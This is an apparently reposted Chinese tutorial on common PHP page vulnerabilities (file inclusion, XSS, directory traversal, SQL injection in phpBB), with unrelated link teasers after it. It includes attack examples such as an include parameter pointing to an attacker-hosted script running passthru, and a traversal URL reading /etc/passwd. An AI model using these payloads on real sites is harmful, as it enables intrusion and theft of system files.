常见PHP页面漏洞分析及相关问题解决

2016-01-29 13:23 22 1 收藏

常见PHP页面漏洞分析及相关问题解决,常见PHP页面漏洞分析及相关问题解决

【 tulaoshi.com - PHP 】

 从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.
  
  我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
  
  首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:
    include($include."/xxx.php");
  ?
  在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击).在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,
  HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.
  
  接着,我们再来看一下脚本命令执行漏洞.这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:
  http://web/index.php?PHPSESSID="在script里面我们可以构造函数来获得用户的一些敏感信息.在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.
  
  再然后,我们就来看看文件泄露漏洞了.这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子.在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了.在这方面相对多一点,有:myPHPNuke,McNews等等.
  
  最后,我们又要回到最兴奋的地方了.想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空.曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞.(这些废话不多说了,有点跑题了...).还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了.将asc改成ASCII,len改成LENGTH,其他函数基本不变了.其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了.PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB.它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧.这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好.
  
  好了,我们还是来分析一下漏洞产生的原因吧.拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得"topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因).先看一下相关源代码:
  #    if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
  #    {
  #       $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
  #    }
  #    else if ( isset($HTTP_GET_VARS['topic']) )
  #    {
  #

来源:http://www.tulaoshi.com/n/20160129/1489986.html

延伸阅读
《尘埃3》运行问题解决 会员:popforce 分享 近来尘埃3破解后有许多玩家和我一样报错假死无法进入游戏  和3DM的硬盘版都试过无效,查帖子各种方法都试过无解!偶然查看游戏目录属性发现游戏容量未达到11.1G,可我下的都是校验过的安装程序应该不会短文件,只好换个破解小组安装文件再试(VERYCD上发布的五国语言高压硬盘版2.2G)这...
标签: Web开发
Q0,新手必看教程: 第一步,jQuery中文入门指南,翻译加实例,jQuery的起点教程 第二步,下载手册方便查询(jQuery 1.41 中文API文档 chm版) 第三步,深刻了解jQuery对象和普通DOM对象的区别。互相转化见Q1 Q1,js的写法:document.getElementById('save').disabled=true; 在jquery中我是这样写的$("#save").disabled = true; 为什么没效...
标签: 孕期
职场孕妈咪常见问题解决方案 现在的女性都比较独立,有自己的事业,很多女性在怀孕以后,出于这样那样的原因,依然无法远离工作岗位,不愿意在家里安心地养胎。这个时候在工作过程当中要注意什么,才能够更好地保护自己和保护肚子里的宝宝呢?我们一起来关注一下吧! 如果已经由医院方面确认说怀孕的话,应该将这件...
标签: 问题肌肤
角质型黑头鼻 黑头是白净肌肤的天敌,由于鼻头及其周围部分经常会有油脂分泌,若长时间清洁不到位,会使这些油脂硬化,经氧化后成为黑头。 常见肌肤问题解决方案:每周至少做1次针对鼻子的去角质工作,油性肌肤可每周2次,去角质后使用黑头导人液将黑矣粉刺自然导出(不要用手指等工具硬挤哦),洗净后拍上收敛型爽肤水收缩毛...
《侠盗猎车手5》常见运行问题解决方法 今天图老师图老师小编为大家带来《侠盗猎车手5》PC版常见运行问题解决方法。 1.无限载入问题 改变一下我的文档路径即可 图片里面第二步移动到的位置,需要你先在某个地方建一个文件夹,名字必须是全英文,无空格无中文,比如像我图中的那样就行。 2.语言问题 进游戏就不能改语言了 必须在st...

经验教程

521

收藏

10
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部